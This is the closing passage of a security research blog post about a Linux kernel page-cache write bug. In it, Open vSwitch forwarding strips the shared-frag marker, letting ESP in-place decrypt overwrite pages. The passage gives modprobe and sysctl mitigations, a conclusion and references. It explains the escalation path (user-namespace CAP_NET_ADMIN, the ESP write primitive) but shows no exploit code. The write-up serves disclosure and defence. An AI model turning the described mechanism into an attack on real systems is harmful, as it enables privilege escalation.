Use install openvswitch /bin/false rather than blacklist openvswitch. blacklist suppresses alias-driven autoload but still permits a by-name modprobe, while install blocks both. This only helps if the module is not already resident, so verify with lsmod | grep openvswitch. On a host that has to run OVS this is not an option, and a different fix is needed.

An alternative is to block the ESP layer itself. Without an in-place ESP decrypt there is no write primitive. On a host that does not terminate IPsec:

# /etc/modprobe.d/no-esp.conf
install esp4 /bin/false
install esp6 /bin/false

These autoload through MODULE_ALIAS_XFRM_TYPE(AF_INET, XFRM_PROTO_ESP), i.e., the aliases xfrm-type-2-50 and xfrm-type-10-50. Both may be compiled into the kernel rather than loadable modules on some distributions (check modinfo esp4), in which case this option does not apply.

A third option is to remove the capability source. Unprivileged user namespaces are what give the attacker CAP_NET_ADMIN inside their own netns:

sysctl -w user.max_user_namespaces=0                       # mainline
sysctl -w kernel.unprivileged_userns_clone=0               # Debian and derivatives
sysctl -w kernel.apparmor_restrict_unprivileged_userns=1   # Ubuntu 24.04+, default on

This is the broadest of the three, and the most disruptive. It breaks Flatpak, Podman, browser sandboxes and anything else that builds a sandbox out of namespaces.

At the time of writing, the fix is in mainline and has started landing in stable. Distribution kernels rebuild from stable on their own schedules, so check your vendor’s advisory.

Conclusion

SKBFL_SHARED_FRAG is a single bit guarding a security boundary, that these pages must not be written over in place. It sits inside a flag group that unrelated lifecycle code clears as a unit, without meaning to touch page ownership at all. Fragnesia showed that consumers can be taught to respect the marker. This variant is a reminder that producers and forwarders have to preserve it too, and that the skb must be freed afterwards is a contract easy to violate two subsystems away from the code that wrote it.

After the initial series went to netdev, we discovered that Sashiko, the Linux Foundation’s agentic review system that reviews LKML submissions, had flagged that OVS_ACTION_ATTR_RECIRC reached the same strip through a path the patch did not cover. The fix moved down into skb_tx_error() itself, which must not touch skb_shinfo() state shared with clones. The issue took three patches to close.

We would like to thank the Open vSwitch and networking maintainers for the quick and constructive review, in particular Ilya Maximets, who turned a one-line fix into a set that also closes the sibling strip in skb_zerocopy().

This research was conducted at Doyensec, with AI assistance (Claude).

References

  • PATCH net v4 0/3: net: don’t strip zerocopy frag markers from a forwarded skb - the fix series on netdev.
  • Fragnesia (CVE-2026-46300) - W. Bowling’s ESP in-place-decrypt page-cache write, on the ESP-in-TCP coalesce path.
  • f4c50a4034e6 - xfrm: esp: avoid in-place decrypt on shared skb frags, the consumer-side check this trigger bypasses.
  • 36d5fe6a0007 - core, nfqueue, openvswitch: Orphan frags in skb_zerocopy and handle errors, which introduced the Open vSwitch skb_tx_error() call.
  • RFC 4106 - The Use of Galois/Counter Mode (GCM) in IPsec ESP, source for the salt, nonce, and counter layout.
  • Dirty COW (CVE-2016-5195) - the original page-cache-write LPE.
  • Dirty Pipe (CVE-2022-0847) - the same class through pipe_buffer.

Text extracted automatically; images, tables and formatting may be missing. Original: https://blog.doyensec.com/2026/09/17/ovs.html